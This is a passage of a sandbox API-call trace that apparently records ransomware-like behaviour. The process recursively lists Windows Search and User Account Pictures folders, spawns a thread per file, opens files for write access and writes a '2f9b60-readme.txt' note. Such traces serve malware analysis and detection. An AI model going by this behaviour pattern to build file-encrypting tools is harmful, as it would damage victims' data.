"c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328c [0225.584] WriteFile (in: hFile=0x328c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2e8ef8b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2e8ef8b0*=0xba9, lpOverlapped=0x0) returned 1 [0226.636] CloseHandle (hObject=0x328c) returned 1 [0234.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431150c0) returned 1 [0234.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776cb0) returned 1 [0234.335] FindNextFileW (in: hFindFile=0x1b858e50, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b773330, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex.1.gthr", cAlternateFileName="SYSTEM~1.GTH")) returned 1 [0234.335] wcscmp (_String1="SystemIndex.1.gthr", _String2=".") returned 1 [0234.335] wcscmp (_String1="SystemIndex.1.gthr", _String2="..") returned 1 [0234.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776cb0 [0234.336] wcscpy (in: _Dest=0x1b776cb0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex" [0234.336] wcscat (in: _Dest=0x1b776cb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\" [0234.336] wcscat (in: _Dest=0x1b776cb0, _Source="SystemIndex.1.gthr" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr" [0234.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b776cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b0 [0234.378] FindNextFileW (in: hFindFile=0x1b858e50, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b773330, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex.1.gthr", cAlternateFileName="SYSTEM~1.GTH")) returned 0 [0238.126] FindClose (in: hFindFile=0x1b858e50 | out: hFindFile=0x1b858e50) returned 1 [0238.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56080) returned 1 [0238.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0238.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279c70) returned 1 [0238.129] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="SYSTEM~1")) returned 0 [0238.129] FindClose (in: hFindFile=0x1b858c70 | out: hFindFile=0x1b858c70) returned 1 [0238.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce582a0) returned 1 [0238.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507f50) returned 1 [0238.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205088b0) returned 1 [0238.131] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29612a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSS.chk", cAlternateFileName="")) returned 1 [0238.131] wcscmp (_String1="MSS.chk", _String2=".") returned 1 [0238.131] wcscmp (_String1="MSS.chk", _String2="..") returned 1 [0238.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205088b0 [0238.131] wcscpy (in: _Dest=0x205088b0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" [0238.131] wcscat (in: _Dest=0x205088b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0238.131] wcscat (in: _Dest=0x205088b0, _Source="MSS.chk" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk" [0238.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205088b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480 [0238.288] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295a0600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295a0600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSS.log", cAlternateFileName="")) returned 1 [0238.288] wcscmp (_String1="MSS.log", _String2=".") returned 1 [0238.288] wcscmp (_String1="MSS.log", _String2="..") returned 1 [0238.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20508b30 [0238.288] wcscpy (in: _Dest=0x20508b30, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" [0238.289] wcscat (in: _Dest=0x20508b30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0238.289] wcscat (in: _Dest=0x20508b30, _Source="MSS.log" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" [0238.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e84 [0238.314] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295c6760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295c6760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x295ec8c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSres00001.jrs", cAlternateFileName="MSSRES~1.JRS")) returned 1 [0238.314] wcscmp (_String1="MSSres00001.jrs", _String2=".") returned 1 [0238.314] wcscmp (_String1="MSSres00001.jrs", _String2="..") returned 1 [0238.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431f4e00 [0238.316] wcscpy (in: _Dest=0x431f4e00, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" [0238.316] wcscat (in: _Dest=0x431f4e00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0238.316] wcscat (in: _Dest=0x431f4e00, _Source="MSSres00001.jrs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs" [0238.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f4e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc34 [0238.318] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295ec8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295ec8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x295ec8c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSres00002.jrs", cAlternateFileName="MSSRES~2.JRS")) returned 1 [0238.318] wcscmp (_String1="MSSres00002.jrs", _String2=".") returned 1 [0238.318] wcscmp (_String1="MSSres00002.jrs", _String2="..") returned 1 [0238.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431f61f0 [0238.319] wcscpy (in: _Dest=0x431f61f0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" [0238.319] wcscat (in: _Dest=0x431f61f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0238.319] wcscat (in: _Dest=0x431f61f0, _Source="MSSres00002.jrs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs" [0238.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f61f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e14 [0238.320] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects", cAlternateFileName="")) returned 1 [0238.320] wcscmp (_String1="Projects", _String2=".") returned 1 [0238.320] wcscmp (_String1="Projects", _String2="..") returned 1 [0238.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20508770 [0238.320] wcscpy (in: _Dest=0x20508770, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" [0238.321] wcscat (in: _Dest=0x20508770, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0238.321] wcscat (in: _Dest=0x20508770, _Source="Projects" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" [0238.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20508770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1054 [0238.330] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29612a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x42291130, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4810000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows.edb", cAlternateFileName="")) returned 1 [0238.330] wcscmp (_String1="Windows.edb", _String2=".") returned 1 [0238.330] wcscmp (_String1="Windows.edb", _String2="..") returned 1 [0238.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20508590 [0238.331] wcscpy (in: _Dest=0x20508590, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" [0238.331] wcscat (in: _Dest=0x20508590, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0238.331] wcscat (in: _Dest=0x20508590, _Source="Windows.edb" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" [0238.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b3c [0238.332] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29612a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x42291130, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4810000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows.edb", cAlternateFileName="")) returned 0 [0238.332] FindClose (in: hFindFile=0x1cd867f0 | out: hFindFile=0x1cd867f0) returned 1 [0244.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56f20) returned 1 [0244.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a980) returned 1 [0244.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bc10) returned 1 [0244.079] FindNextFileW (in: hFindFile=0x1cd86bb0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0244.079] FindClose (in: hFindFile=0x1cd86bb0 | out: hFindFile=0x1cd86bb0) returned 1 [0244.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59620) returned 1 [0244.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0244.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea90) returned 1 [0244.081] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0244.081] wcscmp (_String1="Temp", _String2=".") returned 1 [0244.081] wcscmp (_String1="Temp", _String2="..") returned 1 [0244.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b7c1e90 [0244.082] wcscpy (in: _Dest=0x1b7c1e90, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data" [0244.082] wcscat (in: _Dest=0x1b7c1e90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\" [0244.082] wcscat (in: _Dest=0x1b7c1e90, _Source="Temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp" [0244.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e90) returned 1 [0244.082] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0244.082] FindClose (in: hFindFile=0x1b858d30 | out: hFindFile=0x1b858d30) returned 1 [0244.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58510) returned 1 [0244.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859090) returned 1 [0244.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86370) returned 1 Thread: id = 1928 os_tid = 0x10e4 [0134.197] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat")) returned 0x2020 [0134.198] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat", dwFileAttributes=0x20) returned 1 [0134.198] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bd8 [0134.199] GetFileSizeEx (in: hFile=0x1bd8, lpFileSize=0x2ea5fca0 | out: lpFileSize=0x2ea5fca0*=0) returned 1 [0134.199] FlushFileBuffers (hFile=0x1bd8) returned 1 [0138.533] CloseHandle (hObject=0x1bd8) returned 1 [0138.533] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat", dwFileAttributes=0x2020) returned 1 [0139.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1550) returned 1 Thread: id = 1929 os_tid = 0x10ec [0134.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20508b30 [0134.222] wcscpy (in: _Dest=0x20508b30, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0134.222] wcscat (in: _Dest=0x20508b30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0134.222] wcscat (in: _Dest=0x20508b30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*" [0134.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56080 [0134.222] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858c70 [0134.223] wcscmp (_String1=".", _String2=".") returned 0 [0134.223] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.223] wcscmp (_String1="..", _String2=".") returned 1 [0134.223] wcscmp (_String1="..", _String2="..") returned 0 [0134.223] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xda0a8861, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile10.bmp", cAlternateFileName="")) returned 1 [0134.223] wcscmp (_String1="usertile10.bmp", _String2=".") returned 1 [0134.223] wcscmp (_String1="usertile10.bmp", _String2="..") returned 1 [0134.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0134.223] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0134.223] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0134.223] wcscat (in: _Dest=0x202ad3f0, _Source="usertile10.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" [0151.497] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile10.bmp")) returned 0x20 [0151.498] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp", dwFileAttributes=0x20) returned 0 [0151.498] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile10.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.498] GetLastError () returned 0x5 [0151.498] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp", dwFileAttributes=0x20) returned 0 [0151.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.498] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb5a2927, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile11.bmp", cAlternateFileName="")) returned 1 [0151.498] wcscmp (_String1="usertile11.bmp", _String2=".") returned 1 [0151.498] wcscmp (_String1="usertile11.bmp", _String2="..") returned 1 [0151.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.499] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All 